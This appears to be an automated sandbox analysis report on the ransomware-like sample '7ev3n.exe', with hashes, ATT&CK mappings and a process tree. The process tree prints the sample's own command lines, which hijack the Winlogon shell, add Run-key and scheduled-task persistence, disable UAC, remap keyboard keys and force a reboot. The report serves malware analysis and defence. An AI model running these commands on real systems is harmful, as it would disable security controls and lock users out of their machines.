7d373ccb96d1dbb1856ef31afa87c2112a0c1795a796ab01cb154700288afec5

Analysis

max time kernel
31s
max time network
33s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
21-11-2024 01:29

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Reason

Machine shutdown

Report Analysis Logs

General

Target

7ev3n.exe
Size

315KB
MD5

9f8bc96c96d43ecb69f883388d228754
SHA1

61ed25a706afa2f6684bb4d64f69c5fb29d20953
SHA256

7d373ccb96d1dbb1856ef31afa87c2112a0c1795a796ab01cb154700288afec5
SHA512

550a891c1059f58aa983138caf65a7ea9c326cb1b94c15f3e7594128f6e9f1295b9c2dbc0925637dba7c94e938083fffc6a63dc7c2e5b1e247679931cce505c6
SSDEEP

6144:BswDdb2MemnBVlz0SoVbO4A6OA4Trl28TyT6llY1/I8cWJWlfTXv:BswRSslz0P1OdFXJlJ8buXv

Score

10^/10

discovery evasion persistence trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Local\\system.exe"	reg.exe

UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2072 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

system.exe

pid process

2524 system.exe
Loads dropped DLL 2 IoCs

Processes:

7ev3n.exe

pid process

2372 7ev3n.exe
2372 7ev3n.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

pid	process
2072	cmd.exe

pid	process
2524	system.exe

pid	process
2372	7ev3n.exe
2372	7ev3n.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System = "C:\\Users\\Admin\\AppData\\Local\\system.exe"	reg.exe

System Location Discovery: System Language Discovery 1 TTPs 20 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

SCHTASKS.exereg.execmd.exereg.execmd.exereg.exereg.exesystem.execmd.execmd.exereg.exereg.exereg.execmd.exeshutdown.execmd.execmd.exe7ev3n.execmd.execmd.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SCHTASKS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	system.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	shutdown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7ev3n.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

SCHTASKS.exe

pid process

2888 SCHTASKS.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

shutdown.exe

description pid process

Token: SeShutdownPrivilege 2464 shutdown.exe
Token: SeRemoteShutdownPrivilege 2464 shutdown.exe

pid	process
2888	SCHTASKS.exe

description	pid	process
Token: SeShutdownPrivilege	2464	shutdown.exe
Token: SeRemoteShutdownPrivilege	2464	shutdown.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

7ev3n.exesystem.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 2372 wrote to memory of 2524	2372	7ev3n.exe	system.exe
PID 2372 wrote to memory of 2524	2372	7ev3n.exe	system.exe
PID 2372 wrote to memory of 2524	2372	7ev3n.exe	system.exe
PID 2372 wrote to memory of 2524	2372	7ev3n.exe	system.exe
PID 2524 wrote to memory of 2072	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2072	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2072	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2072	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2888	2524	system.exe	SCHTASKS.exe
PID 2524 wrote to memory of 2888	2524	system.exe	SCHTASKS.exe
PID 2524 wrote to memory of 2888	2524	system.exe	SCHTASKS.exe
PID 2524 wrote to memory of 2888	2524	system.exe	SCHTASKS.exe
PID 2524 wrote to memory of 2200	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2200	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2200	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2200	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2212	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2212	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2212	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2212	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2988	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2988	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2988	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2988	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 3060	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 3060	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 3060	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 3060	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2472	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2472	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2472	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2472	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2840	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2840	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2840	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 2840	2524	system.exe	cmd.exe
PID 2200 wrote to memory of 1924	2200	cmd.exe	reg.exe
PID 2200 wrote to memory of 1924	2200	cmd.exe	reg.exe
PID 2200 wrote to memory of 1924	2200	cmd.exe	reg.exe
PID 2200 wrote to memory of 1924	2200	cmd.exe	reg.exe
PID 2212 wrote to memory of 2732	2212	cmd.exe	reg.exe
PID 2212 wrote to memory of 2732	2212	cmd.exe	reg.exe
PID 2212 wrote to memory of 2732	2212	cmd.exe	reg.exe
PID 2212 wrote to memory of 2732	2212	cmd.exe	reg.exe
PID 2988 wrote to memory of 2312	2988	cmd.exe	reg.exe
PID 2988 wrote to memory of 2312	2988	cmd.exe	reg.exe
PID 2988 wrote to memory of 2312	2988	cmd.exe	reg.exe
PID 2988 wrote to memory of 2312	2988	cmd.exe	reg.exe
PID 3060 wrote to memory of 2396	3060	cmd.exe	reg.exe
PID 3060 wrote to memory of 2396	3060	cmd.exe	reg.exe
PID 3060 wrote to memory of 2396	3060	cmd.exe	reg.exe
PID 3060 wrote to memory of 2396	3060	cmd.exe	reg.exe
PID 2840 wrote to memory of 1928	2840	cmd.exe	reg.exe
PID 2840 wrote to memory of 1928	2840	cmd.exe	reg.exe
PID 2840 wrote to memory of 1928	2840	cmd.exe	reg.exe
PID 2840 wrote to memory of 1928	2840	cmd.exe	reg.exe
PID 2472 wrote to memory of 332	2472	cmd.exe	reg.exe
PID 2472 wrote to memory of 332	2472	cmd.exe	reg.exe
PID 2472 wrote to memory of 332	2472	cmd.exe	reg.exe
PID 2472 wrote to memory of 332	2472	cmd.exe	reg.exe
PID 2524 wrote to memory of 1484	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 1484	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 1484	2524	system.exe	cmd.exe
PID 2524 wrote to memory of 1484	2524	system.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\7ev3n.exe
"C:\Users\Admin\AppData\Local\Temp\7ev3n.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2372
- C:\Users\Admin\AppData\Local\system.exe
  "C:\Users\Admin\AppData\Local\system.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2524
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\del.bat
    3⤵
    - Deletes itself
    - System Location Discovery: System Language Discovery
    PID:2072
- - C:\Windows\SysWOW64\SCHTASKS.exe
    C:\Windows\System32\SCHTASKS.exe /create /SC ONLOGON /TN uac /TR "C:\Users\Admin\AppData\Local\bcd.bat" /RL HIGHEST /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2888
- - C:\windows\SysWOW64\cmd.exe
    C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2200
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
      4⤵
      Modifies WinLogon for persistence
      System Location Discovery: System Language Discovery
      PID:1924
- - C:\windows\SysWOW64\cmd.exe
    C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "System" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2212
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "System" /t REG_SZ /d "C:\Users\Admin\AppData\Local\system.exe" /f /reg:64
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:2732
- - C:\windows\SysWOW64\cmd.exe
    C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d "00000000000000001700000000003800000038e000005be000005ce00000360000001d0000001de000000f000000010000001c0000003e0000003b00000044000000450000003d0000005de000000000" /f /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2988
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d "00000000000000001700000000003800000038e000005be000005ce00000360000001d0000001de000000f000000010000001c0000003e0000003b00000044000000450000003d0000005de000000000" /f /reg:64
      4⤵
      System Location Discovery: System Language Discovery
      PID:2312
- - C:\windows\SysWOW64\cmd.exe
    C:\windows\system32\cmd.exe /c REG ADD "HKEY_CURRENT_USER\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d 506 /f /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3060
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_CURRENT_USER\Control Panel\Accessibility\StickyKeys" /v "Flags" /t REG_SZ /d 506 /f /reg:64
      4⤵
      System Location Discovery: System Language Discovery
      PID:2396
- - C:\windows\SysWOW64\cmd.exe
    C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "rgd_bcd_condition" /t REG_SZ /d 1 /f /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2472
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "rgd_bcd_condition" /t REG_SZ /d 1 /f /reg:64
      4⤵
      System Location Discovery: System Language Discovery
      PID:332
- - C:\windows\SysWOW64\cmd.exe
    C:\windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2840
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f /reg:64
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      PID:1928
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "crypted" /t REG_SZ /d 1 /f /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1484
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" /v "crypted" /t REG_SZ /d 1 /f /reg:64
      4⤵
      System Location Discovery: System Language Discovery
      PID:2124
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c shutdown -r -t 10 -f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1120
  - - C:\Windows\SysWOW64\shutdown.exe
      shutdown -r -t 10 -f
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2464

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:732

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:1748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\del.bat

Filesize
65B

MD5
f727ee128a7eeb23b9c3242b049e61ef

SHA1
a260ee1e7c05377830130163737c7609598d61ee

SHA256
98bfdb556f8e8a2564cadfd0c62fff7b81b3a70a4f7e03a86f704fabd5d3c884

SHA512
c59a537dbd2349d0f29b6596d35c387fbb76a2cde16fddee04c3d861221c2a7a9ef1af67577a63a80523ec4fc079cc64090e3e86544730bf9cdac2ca122a9c0e

Download Submit
\Users\Admin\AppData\Local\system.exe

Filesize
315KB

MD5
464b953485a73afd8c7a315e01285461

SHA1
7eef279df958e6705d02a10b428190f06630f404

SHA256
be00efe9d192cf3ba02a00929db4d094bbd0412bc575312366062afb5a01bb12

SHA512
8ed3cd0423860a4f691da2326d9312a1a28b7cc42774de6cc1b75e2ee54b7615ccc9cbca61634fdd538f5878a5c7197cd913f679ed9f4c1430c37702232fed2d

Download Submit

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads